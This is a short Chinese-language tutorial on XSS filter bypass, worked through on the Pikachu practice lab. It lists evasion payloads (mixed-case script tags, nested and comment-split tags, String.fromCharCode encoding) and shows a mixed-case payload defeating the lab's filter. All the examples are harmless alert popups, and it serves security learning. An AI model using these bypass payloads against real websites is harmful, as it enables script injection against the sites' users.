pikachu--XSS绕过
在这先说一下xss绕过的两种方式,之后在pikachu平台上进行操作
Xss绕过-过滤-转换
前端绕过,我们直接可以抓包重放,或者修改html前端代码
大小写,示例:<sCriPt>ALerT(222)</ScrIpt>
拼凑,示例:<scr<script>ipt>alert(222)</scri</script>pt>
使用注释进行干扰:<scri<!—test-->pt>alert(222)</sc<!—test-->ript>
Xss绕过-过滤-编码
后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定会过滤当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行
编码也不能乱用,编码要在输出点被正常识别和翻译
回到pikachu平台,打开xss过滤板块
XSS-过滤
输入 <script>alert(11)</script>
并没有弹框
我们查看网页源码
可以看到把我们写的那句话都不显示,说明过滤了小写字母,我们可以看一下源码
接下来我们采用大小写混合 输入<sCRipt>alert(222)</ScriPt>
成功弹框
弹窗函数:alert prompt confirm eval(String.fromCharCode())
<script>alert (1)</script>
<script>prompt (1)</script>
<script> confirm (1)</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
xss输出位置与触发方式
脚本直接触发 <script>alert (1)</script>
借助标签事件属性触发 <img src="#" onclick="alert(1)">